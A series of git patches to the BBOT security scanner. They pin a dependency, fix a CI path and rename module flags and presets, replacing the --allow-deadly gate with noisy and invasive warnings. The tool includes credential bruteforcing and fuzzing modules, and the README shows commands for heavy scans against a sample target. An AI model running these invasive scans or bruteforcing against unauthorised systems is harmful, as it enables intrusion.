+name = "python-whois" +version = "0.9.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f1/0c/537914eca91ee5ff281309a5ca71da23c0c975cd6658668a44d3fdcf1cc4/python_whois-0.9.6.tar.gz", hash = "sha256:2e6de7b6d70e305a85f4859cd17781ee3f0da3a02a8e94f23cb4cdcd2e400bfa", size = 125107, upload-time = "2025-10-07T04:36:14.913Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/46/53/d0ceb3ae30da8e8ec2d9af11050178f3b4114d5aa6a7f7074199db3c806f/python_whois-0.9.6-py3-none-any.whl", hash = "sha256:153261941a4d238b1278a4ca9b5b5e0590ed3b4d0c534ba111c4434d5d339410", size = 116976, upload-time = "2025-10-07T04:36:12.328Z" }, +] + [[package]] name = "pyyaml" version = "6.0.3" From 86883f0aab18f56c7f5eafe24570c0f44046c259 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 22 Mar 2026 19:36:37 -0400 Subject: [PATCH 339/912] Pin kreuzberg <4.5 for Ubuntu 22.04 glibc compat, fix distro test HOME --- .github/workflows/distro_tests.yml | 9 ++++++--- bbot/modules/kreuzberg.py | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index beda5ec99d..6dfd07de1c 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -65,9 +65,12 @@ jobs: run: echo "OS_NAME=${{ matrix.os }}" | sed 's|[:/]|_|g' >> $GITHUB_ENV - name: Run tests run: | - export PATH="$HOME/.local/bin:$PATH" - export PATH="$HOME/.pyenv/bin:$PATH" - export PATH="$HOME/.pyenv/shims:$PATH" + # Preserve pyenv/pipx paths installed under the GitHub-set HOME + export PATH="/github/home/.local/bin:$PATH" + export PATH="/github/home/.pyenv/bin:$PATH" + export PATH="/github/home/.pyenv/shims:$PATH" + # Fix HOME to match euid (root) so rustup/cargo don't refuse to build + export HOME="$(getent passwd $(whoami) | cut -d: -f6)" export BBOT_DISTRO_TESTS=true uv python pin 3.11 uv sync --group dev diff --git a/bbot/modules/kreuzberg.py b/bbot/modules/kreuzberg.py index 2b04176d11..c56c663e14 100644 --- a/bbot/modules/kreuzberg.py +++ b/bbot/modules/kreuzberg.py @@ -66,7 +66,7 @@ class kreuzberg(BaseModule): "extensions": "File extensions to parse", } - deps_pip = ["kreuzberg~=4.3", "pypdfium2~=5.0"] + deps_pip = ["kreuzberg>=4.3,<4.5", "pypdfium2~=5.0"] scope_distance_modifier = 1 async def setup(self): From 969076faa3ae49a83d024c935a056fd7a05783b2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 22 Mar 2026 21:27:41 -0400 Subject: [PATCH 340/912] Standardize preset naming, flag system, and event tags (#2959) --- AGENTS.md | 15 +- README.md | 32 +- bbot/cli.py | 28 +- bbot/core/event/base.py | 30 +- bbot/core/flags.py | 9 +- bbot/core/modules.py | 7 +- bbot/modules/ajaxpro.py | 2 +- bbot/modules/anubisdb.py | 2 +- bbot/modules/apkpure.py | 2 +- bbot/modules/aspnet_bin_exposure.py | 2 +- bbot/modules/azure_tenant.py | 2 +- bbot/modules/baddns.py | 2 +- bbot/modules/baddns_direct.py | 2 +- bbot/modules/baddns_zone.py | 2 +- bbot/modules/badsecrets.py | 2 +- bbot/modules/base.py | 2 +- bbot/modules/bevigil.py | 2 +- bbot/modules/bucket_amazon.py | 2 +- bbot/modules/bucket_digitalocean.py | 2 +- bbot/modules/bucket_file_enum.py | 2 +- bbot/modules/bucket_firebase.py | 2 +- bbot/modules/bucket_google.py | 2 +- bbot/modules/bucket_microsoft.py | 2 +- bbot/modules/bufferoverrun.py | 2 +- bbot/modules/builtwith.py | 2 +- bbot/modules/bypass403.py | 2 +- bbot/modules/c99.py | 2 +- bbot/modules/censys_dns.py | 2 +- bbot/modules/censys_ip.py | 2 +- bbot/modules/certspotter.py | 2 +- bbot/modules/chaos.py | 2 +- bbot/modules/code_repository.py | 2 +- bbot/modules/credshed.py | 2 +- bbot/modules/crt.py | 2 +- bbot/modules/crt_db.py | 2 +- bbot/modules/dehashed.py | 2 +- bbot/modules/digitorus.py | 2 +- bbot/modules/dnsbimi.py | 2 +- bbot/modules/dnsbrute.py | 2 +- bbot/modules/dnsbrute_mutations.py | 2 +- bbot/modules/dnscaa.py | 2 +- bbot/modules/dnscommonsrv.py | 2 +- bbot/modules/dnsdumpster.py | 2 +- bbot/modules/dnstlsrpt.py | 2 +- bbot/modules/docker_pull.py | 2 +- bbot/modules/dockerhub.py | 2 +- bbot/modules/dotnetnuke.py | 2 +- bbot/modules/emailformat.py | 2 +- bbot/modules/ffuf.py | 2 +- bbot/modules/ffuf_shortnames.py | 2 +- bbot/modules/filedownload.py | 2 +- bbot/modules/fingerprintx.py | 4 +- bbot/modules/fullhunt.py | 2 +- bbot/modules/git.py | 2 +- bbot/modules/git_clone.py | 2 +- bbot/modules/gitdumper.py | 2 +- bbot/modules/github_codesearch.py | 2 +- bbot/modules/github_org.py | 2 +- bbot/modules/github_usersearch.py | 2 +- bbot/modules/github_workflows.py | 2 +- bbot/modules/gitlab_com.py | 2 +- bbot/modules/gitlab_onprem.py | 2 +- bbot/modules/google_playstore.py | 2 +- bbot/modules/gowitness.py | 9 +- bbot/modules/graphql_introspection.py | 2 +- bbot/modules/hackertarget.py | 2 +- bbot/modules/host_header.py | 2 +- bbot/modules/httpx.py | 15 +- bbot/modules/hunt.py | 2 +- bbot/modules/hunterio.py | 2 +- bbot/modules/iis_shortnames.py | 2 +- bbot/modules/internal/aggregate.py | 2 +- bbot/modules/internal/unarchive.py | 2 +- bbot/modules/ip2location.py | 2 +- bbot/modules/ipneighbor.py | 2 +- bbot/modules/ipstack.py | 2 +- bbot/modules/jadx.py | 2 +- bbot/modules/kreuzberg.py | 2 +- bbot/modules/leakix.py | 2 +- bbot/modules/legba.py | 2 +- bbot/modules/lightfuzz/lightfuzz.py | 2 +- bbot/modules/medusa.py | 2 +- bbot/modules/myssl.py | 2 +- bbot/modules/newsletters.py | 2 +- bbot/modules/ntlm.py | 2 +- bbot/modules/nuclei.py | 2 +- bbot/modules/oauth.py | 2 +- bbot/modules/otx.py | 2 +- bbot/modules/paramminer_cookies.py | 2 +- bbot/modules/paramminer_getparams.py | 2 +- bbot/modules/paramminer_headers.py | 2 +- bbot/modules/passivetotal.py | 2 +- bbot/modules/pgp.py | 2 +- bbot/modules/portfilter.py | 2 +- bbot/modules/portscan.py | 2 +- bbot/modules/postman.py | 2 +- bbot/modules/postman_download.py | 2 +- bbot/modules/rapiddns.py | 2 +- bbot/modules/reflected_parameters.py | 2 +- bbot/modules/report/affiliates.py | 2 +- bbot/modules/report/asn.py | 2 +- bbot/modules/retirejs.py | 2 +- bbot/modules/robots.py | 2 +- bbot/modules/securitytrails.py | 2 +- bbot/modules/securitytxt.py | 2 +- bbot/modules/shodan_dns.py | 2 +- bbot/modules/shodan_enterprise.py | 2 +- bbot/modules/shodan_idb.py | 2 +- bbot/modules/sitedossier.py | 2 +- bbot/modules/skymem.py | 2 +- bbot/modules/smuggler.py | 2 +- bbot/modules/social.py | 2 +- bbot/modules/sslcert.py | 2 +- bbot/modules/subdomaincenter.py | 2 +- bbot/modules/subdomainradar.py | 2 +- bbot/modules/telerik.py | 2 +- bbot/modules/templates/bucket.py | 2 +- bbot/modules/templates/subdomain_enum.py | 4 +- bbot/modules/trajan.py | 2 +- bbot/modules/trickest.py | 2 +- bbot/modules/trufflehog.py | 2 +- bbot/modules/url_manipulation.py | 2 +- bbot/modules/urlscan.py | 2 +- bbot/modules/viewdns.py | 2 +- bbot/modules/virustotal.py | 2 +- bbot/modules/wafw00f.py | 2 +- bbot/modules/wayback.py | 2 +- bbot/modules/wpscan.py | 2 +- .../{baddns-intense.yml => baddns-heavy.yml} | 0 bbot/presets/kitchen-sink.yml | 4 +- .../{nuclei-intense.yml => nuclei-heavy.yml} | 2 +- .../{spider-intense.yml => spider-heavy.yml} | 0 bbot/presets/web-heavy.yml | 8 + bbot/presets/web-thorough.yml | 8 - bbot/presets/{web-basic.yml => web.yml} | 2 +- bbot/presets/web/lightfuzz-heavy.yml | 4 +- bbot/presets/web/lightfuzz-light.yml | 2 +- ...tfuzz-superheavy.yml => lightfuzz-max.yml} | 2 +- bbot/presets/web/lightfuzz-medium.yml | 15 - bbot/presets/web/lightfuzz-xss.yml | 2 +- bbot/presets/web/lightfuzz.yml | 15 + bbot/presets/web/paramminer.yml | 2 +- bbot/scanner/preset/args.py | 5 +- .../test_event_memory_benchmarks.py | 2 +- bbot/test/test_step_1/test_cli.py | 19 +- bbot/test/test_step_1/test_modules_basic.py | 7 +- bbot/test/test_step_1/test_presets.py | 42 +- bbot/test/test_step_1/test_python_api.py | 12 +- docs/data/chord_graph/entities.json | 526 +++++++++--------- docs/data/chord_graph/rels.json | 452 ++++++++------- docs/index.md | 2 +- docs/modules/lightfuzz.md | 22 +- docs/modules/list_of_modules.md | 305 +++++----- docs/modules/nuclei.md | 12 +- docs/scanning/advanced.md | 21 +- docs/scanning/configuration.md | 22 +- docs/scanning/events.md | 70 +-- docs/scanning/index.md | 65 ++- docs/scanning/presets.md | 2 +- docs/scanning/presets_list.md | 254 ++++----- 160 files changed, 1135 insertions(+), 1160 deletions(-) rename bbot/presets/{baddns-intense.yml => baddns-heavy.yml} (100%) rename bbot/presets/nuclei/{nuclei-intense.yml => nuclei-heavy.yml} (72%) rename bbot/presets/{spider-intense.yml => spider-heavy.yml} (100%) create mode 100644 bbot/presets/web-heavy.yml delete mode 100644 bbot/presets/web-thorough.yml rename bbot/presets/{web-basic.yml => web.yml} (82%) rename bbot/presets/web/{lightfuzz-superheavy.yml => lightfuzz-max.yml} (64%) delete mode 100644 bbot/presets/web/lightfuzz-medium.yml create mode 100644 bbot/presets/web/lightfuzz.yml diff --git a/AGENTS.md b/AGENTS.md index a7781d9479..7a7080f22f 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -191,7 +191,7 @@ from bbot.modules.base import BaseModule class my_module(BaseModule): watched_events = ["DNS_NAME"] produced_events = ["EMAIL_ADDRESS"] - flags = ["passive", "safe", "email-enum"] + flags = ["passive", "email-enum"] meta = { "description": "Query example.com for email addresses", "created_date": "2025-01-01", @@ -275,21 +275,22 @@ produced_events = ["OPEN_TCP_PORT"] ``` ##### `flags` (list) -Tags that describe the module's behavior. Must include at least one safety flag (`safe` or `aggressive`) and one activity flag (`passive` or `active`). +Tags that describe the module's behavior. Must include at least one activity flag (`passive` or `active`). Optionally, `noisy` (lots of traffic) or `invasive` (intrusive/destructive) can be added. Common flags: - `passive` / `active` - whether the module touches the target directly -- `safe` / `aggressive` - risk level +- `noisy` - generates a large amount of network traffic +- `invasive` - intrusive or potentially destructive - `subdomain-enum` - participates in subdomain enumeration -- `web-basic` - basic web scanning +- `web` - basic web scanning - `email-enum` - email discovery ```python # crt.py - queries a third-party API, never touches the target -flags = ["subdomain-enum", "passive", "safe"] +flags = ["subdomain-enum", "passive"] # sslcert.py - connects directly to target ports -flags = ["affiliates", "subdomain-enum", "email-enum", "active", "safe", "web-basic"] +flags = ["affiliates", "subdomain-enum", "email-enum", "active", "web"] ``` ##### `meta` (dict) @@ -797,7 +798,7 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum class crt(subdomain_enum): - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/README.md b/README.md index 58f5425db0..7c1f407d85 100644 --- a/README.md +++ b/README.md @@ -144,16 +144,16 @@ output_modules: ```bash # run a light web scan against www.evilcorp.com -bbot -t www.evilcorp.com -p web-basic +bbot -t www.evilcorp.com -p web # run a heavy web scan against www.evilcorp.com -bbot -t www.evilcorp.com -p web-thorough +bbot -t www.evilcorp.com -p web-heavy ``` - +
-web-basic.yml +web.yml ```yaml description: Quick web scan @@ -162,43 +162,43 @@ include: - iis-shortnames flags: - - web-basic + - web ```
- + - +
-web-thorough.yml +web-heavy.yml ```yaml description: Aggressive web scan include: - # include the web-basic preset - - web-basic + # include the web preset + - web flags: - - web-thorough + - web-heavy ```
- + ### 5) Everything Everywhere All at Once ```bash # everything everywhere all at once -bbot -t evilcorp.com -p kitchen-sink --allow-deadly +bbot -t evilcorp.com -p kitchen-sink # roughly equivalent to: -bbot -t evilcorp.com -p subdomain-enum cloud-enum code-enum email-enum spider web-basic paramminer dirbust-light web-screenshots --allow-deadly +bbot -t evilcorp.com -p subdomain-enum cloud-enum code-enum email-enum spider web paramminer dirbust-light web-screenshots ``` @@ -215,11 +215,11 @@ include: - code-enum - email-enum - spider - - web-basic + - web - paramminer - dirbust-light - web-screenshots - - baddns-intense + - baddns-heavy config: modules: diff --git a/bbot/cli.py b/bbot/cli.py index c5781453d8..38716ceb6d 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -168,16 +168,6 @@ async def _main(): sys.exit(0) return - # deadly modules (no scan required yet) - deadly_modules = [ - m for m in baked_preset.scan_modules if "deadly" in baked_preset.preloaded_module(m).get("flags", []) - ] - if deadly_modules and not options.allow_deadly: - log.hugewarning(f"You enabled the following deadly modules: {','.join(deadly_modules)}") - log.hugewarning("Deadly modules are highly intrusive") - log.hugewarning("Please specify --allow-deadly to continue") - return False - try: scan = Scanner(preset=baked_preset) except (PresetAbortError, ValidationError) as e: @@ -241,6 +231,24 @@ async def _main(): f'YOUR TARGET CONTAINS A CLOUD DOMAIN: "{event.host}". You\'re in for a wild ride!' ) + # warn about noisy/invasive modules + noisy_modules = [] + invasive_modules = [] + for m in scan.preset.scan_modules: + flags = scan.preset.preloaded_module(m).get("flags", []) + if "noisy" in flags: + noisy_modules.append(m) + if "invasive" in flags: + invasive_modules.append(m) + if noisy_modules: + log.hugewarning( + f"NOISY modules enabled: {','.join(noisy_modules)}. These generate a lot of traffic. To exclude, use -ef noisy" + ) + if invasive_modules: + log.hugewarning( + f"INVASIVE modules enabled: {','.join(invasive_modules)}. These may be intrusive or destructive. To exclude, use -ef invasive" + ) + if not options.yes: log.hugesuccess(f"Scan ready. Press enter to execute {scan.name}") input() diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index ed7bb2e942..56c956dd13 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -99,7 +99,8 @@ class BaseEvent: "timestamp": 1688526222.723366, "resolved_hosts": ["185.199.108.153"], "parent": "OPEN_TCP_PORT:cf7e6a937b161217eaed99f0c566eae045d094c7", - "tags": ["in-scope", "distance-0", "dir", "ip-185-199-108-153", "status-301", "http-title-301-moved-permanently"], + "tags": ["in-scope", "distance-0", "dir", "status-301"], + "http_title": "301 Moved Permanently", "module": "httpx", "module_sequence": "httpx" } @@ -844,6 +845,10 @@ def json(self, mode="json"): web_spider_distance = getattr(self, "web_spider_distance", None) if web_spider_distance is not None: j["web_spider_distance"] = web_spider_distance + # http title + http_title = getattr(self, "http_title", "") + if http_title: + j["http_title"] = http_title # scope distance j["scope_distance"] = self.scope_distance # scan @@ -1263,7 +1268,10 @@ class OPEN_UDP_PORT(OPEN_TCP_PORT): class URL_UNVERIFIED(BaseEvent): _status_code_regex = re.compile(r"^status-(\d{1,3})$") + __slots__ = ["_http_title"] + def __init__(self, *args, **kwargs): + self._http_title = "" super().__init__(*args, **kwargs) self.num_redirects = getattr(self.parent, "num_redirects", 0) @@ -1366,6 +1374,14 @@ def http_status(self): return int(match.groups()[0]) return 0 + @property + def http_title(self): + return self._http_title + + @http_title.setter + def http_title(self, value): + self._http_title = value + class URL(URL_UNVERIFIED): def __init__(self, *args, **kwargs): @@ -1376,11 +1392,6 @@ def __init__(self, *args, **kwargs): 'Must specify HTTP status tag for URL event, e.g. "status-200". Use URL_UNVERIFIED if the URL is unvisited.' ) - @property - def resolved_hosts(self): - # TODO: remove this when we rip out httpx - return {".".join(i.split("-")[1:]) for i in self.tags if i.startswith("ip-")} - @property def pretty_string(self): return self.data @@ -1971,6 +1982,13 @@ def event_from_json(j): resolved_hosts = j.get("resolved_hosts", []) event._resolved_hosts = set(resolved_hosts) + http_title = j.get("http_title", "") + if http_title: + try: + event.http_title = http_title + except AttributeError: + pass + # accept both isoformat and unix timestamp try: event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"], ZoneInfo("UTC")) diff --git a/bbot/core/flags.py b/bbot/core/flags.py index 3391b48635..b9543ff07a 100644 --- a/bbot/core/flags.py +++ b/bbot/core/flags.py @@ -1,25 +1,24 @@ flag_descriptions = { "active": "Makes active connections to target systems", "affiliates": "Discovers affiliated hostnames/domains", - "aggressive": "Generates a large amount of network traffic", "baddns": "Runs all modules from the DNS auditing tool BadDNS", "cloud-enum": "Enumerates cloud resources", "code-enum": "Find public code repositories and search them for secrets etc.", - "deadly": "Highly aggressive", "download": "Modules that download files, apps, or repositories", "email-enum": "Enumerates email addresses", "iis-shortnames": "Scans for IIS Shortname vulnerability", + "invasive": "Intrusive or potentially destructive", + "noisy": "Generates a large amount of network traffic", "passive": "Never connects to target systems", "portscan": "Discovers open ports", "report": "Generates a report at the end of the scan", - "safe": "Non-intrusive, safe to run", "service-enum": "Identifies protocols running on open ports", "slow": "May take a long time to complete", "social-enum": "Enumerates social media", "subdomain-enum": "Enumerates subdomains", "subdomain-hijack": "Detects hijackable subdomains", - "web-basic": "Basic, non-intrusive web scan functionality", + "web": "Non-intrusive web scan functionality", + "web-heavy": "More advanced web scanning functionality", "web-paramminer": "Discovers HTTP parameters through brute-force", "web-screenshots": "Takes screenshots of web pages", - "web-thorough": "More advanced web scanning functionality", } diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 85465fdf88..38a13a0fff 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -292,9 +292,8 @@ def preload_module(self, module_file): ], "flags": [ "active", - "safe", - "web-basic", - "web-thorough" + "web", + "web-heavy" ], "meta": { "description": "Extract technologies from web responses" @@ -561,7 +560,7 @@ def modules_table(self, modules=None, mod_type=None, include_author=False, inclu | Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events | +==========+========+=================+==============================+===============================+======================+===================+ | portscan | scan | No | Execute port scans | active, aggressive, portscan, | DNS_NAME, IP_ADDRESS | OPEN_TCP_PORT | - | | | | | web-thorough | | | + | | | | | web-heavy | | | +----------+--------+-----------------+------------------------------+-------------------------------+----------------------+-------------------+ """ diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index 284741b5d9..4fd8703731 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -11,7 +11,7 @@ class ajaxpro(BaseModule): ajaxpro_regex = re.compile(r' str: class legba(BaseModule): watched_events = ["PROTOCOL"] produced_events = ["FINDING"] - flags = ["active", "aggressive", "deadly"] + flags = ["active", "noisy", "invasive"] per_hostport_only = True meta = { "description": "Credential bruteforcing supporting various services.", diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 32ffdc9d2e..0473d1af3e 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -7,7 +7,7 @@ class lightfuzz(BaseModule): watched_events = ["URL", "WEB_PARAMETER"] produced_events = ["FINDING"] - flags = ["active", "aggressive", "web-thorough", "deadly"] + flags = ["active", "noisy", "web-heavy", "invasive"] options = { "force_common_headers": False, diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index ea59f790ce..deabb62afd 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -5,7 +5,7 @@ class medusa(BaseModule): watched_events = ["PROTOCOL"] produced_events = ["FINDING"] - flags = ["active", "aggressive", "deadly"] + flags = ["active", "noisy", "invasive"] per_host_only = True meta = { "description": "Medusa SNMP bruteforcing with v1, v2c and R/W check.", diff --git a/bbot/modules/myssl.py b/bbot/modules/myssl.py index 1a04364bcf..e9240553ec 100644 --- a/bbot/modules/myssl.py +++ b/bbot/modules/myssl.py @@ -2,7 +2,7 @@ class myssl(subdomain_enum): - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index 06aea18269..1c3ccd3c8f 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -18,7 +18,7 @@ class newsletters(BaseModule): watched_events = ["HTTP_RESPONSE"] produced_events = ["FINDING"] - flags = ["active", "safe"] + flags = ["active"] meta = { "description": "Searches for Newsletter Submission Entry Fields on Websites", "created_date": "2024-02-02", diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index c62c7f41f7..d09e2aae12 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -68,7 +68,7 @@ class ntlm(BaseModule): watched_events = ["URL", "HTTP_RESPONSE"] produced_events = ["FINDING", "DNS_NAME"] - flags = ["active", "safe", "web-basic"] + flags = ["active", "web"] meta = { "description": "Watch for HTTP endpoints that support NTLM authentication", "created_date": "2022-07-25", diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 6a0bbda984..659acd60fb 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -7,7 +7,7 @@ class nuclei(BaseModule): watched_events = ["URL"] produced_events = ["FINDING", "TECHNOLOGY"] - flags = ["active", "aggressive", "deadly"] + flags = ["active", "noisy", "invasive"] meta = { "description": "Fast and customisable vulnerability scanner", "created_date": "2022-03-12", diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 26bb8f843b..5943d64c62 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -6,7 +6,7 @@ class OAUTH(BaseModule): watched_events = ["DNS_NAME", "URL_UNVERIFIED"] produced_events = ["DNS_NAME"] - flags = ["affiliates", "subdomain-enum", "cloud-enum", "web-basic", "active", "safe"] + flags = ["affiliates", "subdomain-enum", "cloud-enum", "web", "active"] meta = { "description": "Enumerate OAUTH and OpenID Connect services", "created_date": "2023-07-12", diff --git a/bbot/modules/otx.py b/bbot/modules/otx.py index e20ad1a655..77565d078a 100644 --- a/bbot/modules/otx.py +++ b/bbot/modules/otx.py @@ -2,7 +2,7 @@ class otx(subdomain_enum_apikey): - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index 83fce87ad5..4ef8ca8adc 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -8,7 +8,7 @@ class paramminer_cookies(paramminer_headers): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - flags = ["active", "aggressive", "slow", "web-paramminer"] + flags = ["active", "noisy", "slow", "web-paramminer"] meta = { "description": "Smart brute-force to check for common HTTP cookie parameters", "created_date": "2022-06-27", diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index b0a3da92e7..a672201f0c 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -8,7 +8,7 @@ class paramminer_getparams(paramminer_headers): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - flags = ["active", "aggressive", "slow", "web-paramminer"] + flags = ["active", "noisy", "slow", "web-paramminer"] meta = { "description": "Use smart brute-force to check for common HTTP GET parameters", "created_date": "2022-06-28", diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index d3cbeb0661..66a8e85c71 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -11,7 +11,7 @@ class paramminer_headers(BaseModule): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - flags = ["active", "aggressive", "slow", "web-paramminer"] + flags = ["active", "noisy", "slow", "web-paramminer"] meta = { "description": "Use smart brute-force to check for common HTTP header parameters", "created_date": "2022-04-15", diff --git a/bbot/modules/passivetotal.py b/bbot/modules/passivetotal.py index b72f43cefd..69c3f588b7 100644 --- a/bbot/modules/passivetotal.py +++ b/bbot/modules/passivetotal.py @@ -4,7 +4,7 @@ class passivetotal(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] meta = { "description": "Query the PassiveTotal API for subdomains", "created_date": "2022-08-08", diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index b5dd1adc74..f56c3d0f38 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -4,7 +4,7 @@ class pgp(subdomain_enum): watched_events = ["DNS_NAME"] produced_events = ["EMAIL_ADDRESS"] - flags = ["passive", "email-enum", "safe"] + flags = ["passive", "email-enum"] meta = { "description": "Query common PGP servers for email addresses", "created_date": "2022-08-10", diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py index 88cf0e0518..b22481aace 100644 --- a/bbot/modules/portfilter.py +++ b/bbot/modules/portfilter.py @@ -3,7 +3,7 @@ class portfilter(BaseInterceptModule): watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"] - flags = ["passive", "safe"] + flags = ["passive"] meta = { "description": "Filter out unwanted open ports from cloud/CDN targets", "created_date": "2025-01-06", diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index 1133db4b01..1d5ba26f08 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -10,7 +10,7 @@ class portscan(BaseModule): - flags = ["active", "portscan", "safe"] + flags = ["active", "portscan"] watched_events = ["IP_ADDRESS", "IP_RANGE", "DNS_NAME"] produced_events = ["OPEN_TCP_PORT"] meta = { diff --git a/bbot/modules/postman.py b/bbot/modules/postman.py index f6eafc6ff9..1ba8026e7f 100644 --- a/bbot/modules/postman.py +++ b/bbot/modules/postman.py @@ -4,7 +4,7 @@ class postman(postman): watched_events = ["ORG_STUB", "SOCIAL"] produced_events = ["CODE_REPOSITORY"] - flags = ["passive", "subdomain-enum", "safe", "code-enum"] + flags = ["passive", "subdomain-enum", "code-enum"] meta = { "description": "Query Postman's API for related workspaces, collections, requests and download them", "created_date": "2024-09-07", diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py index bb4fa4d988..b2f264aeba 100644 --- a/bbot/modules/postman_download.py +++ b/bbot/modules/postman_download.py @@ -7,7 +7,7 @@ class postman_download(postman): watched_events = ["CODE_REPOSITORY"] produced_events = ["FILESYSTEM"] - flags = ["passive", "subdomain-enum", "safe", "code-enum", "download"] + flags = ["passive", "subdomain-enum", "code-enum", "download"] meta = { "description": "Download workspaces, collections, requests from Postman", "created_date": "2024-09-07", diff --git a/bbot/modules/rapiddns.py b/bbot/modules/rapiddns.py index 150728eca3..ca6fef6d06 100644 --- a/bbot/modules/rapiddns.py +++ b/bbot/modules/rapiddns.py @@ -2,7 +2,7 @@ class rapiddns(subdomain_enum): - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index 5ecc1fe8d8..8affe9c752 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -4,7 +4,7 @@ class reflected_parameters(BaseModule): watched_events = ["WEB_PARAMETER"] produced_events = ["FINDING"] - flags = ["active", "safe", "web-thorough"] + flags = ["active", "web-heavy"] meta = { "description": "Highlight parameters that reflect their contents in response body", "author": "@liquidsec", diff --git a/bbot/modules/report/affiliates.py b/bbot/modules/report/affiliates.py index a67c665504..12903c2716 100644 --- a/bbot/modules/report/affiliates.py +++ b/bbot/modules/report/affiliates.py @@ -4,7 +4,7 @@ class affiliates(BaseReportModule): watched_events = ["*"] produced_events = [] - flags = ["passive", "safe", "affiliates"] + flags = ["passive", "affiliates"] meta = { "description": "Summarize affiliate domains at the end of a scan", "created_date": "2022-07-25", diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 104b724182..364aec283a 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -5,7 +5,7 @@ class asn(BaseReportModule): watched_events = ["IP_ADDRESS"] produced_events = ["ASN"] - flags = ["passive", "subdomain-enum", "safe"] + flags = ["passive", "subdomain-enum"] meta = { "description": "Query asndb for ASN information", "created_date": "2022-07-25", diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index e7c3da3a9f..bb310d8c48 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -21,7 +21,7 @@ def from_string(cls, severity_str): class retirejs(BaseModule): watched_events = ["URL_UNVERIFIED"] produced_events = ["FINDING"] - flags = ["active", "safe", "web-thorough"] + flags = ["active", "web-heavy"] meta = { "description": "Detect vulnerable/out-of-date JavaScript libraries", "created_date": "2025-08-19", diff --git a/bbot/modules/robots.py b/bbot/modules/robots.py index e41b3119fb..45edbeb334 100644 --- a/bbot/modules/robots.py +++ b/bbot/modules/robots.py @@ -4,7 +4,7 @@ class robots(BaseModule): watched_events = ["URL"] produced_events = ["URL_UNVERIFIED"] - flags = ["active", "safe", "web-basic"] + flags = ["active", "web"] meta = {"description": "Look for and parse robots.txt", "created_date": "2023-02-01", "author": "@liquidsec"} options = 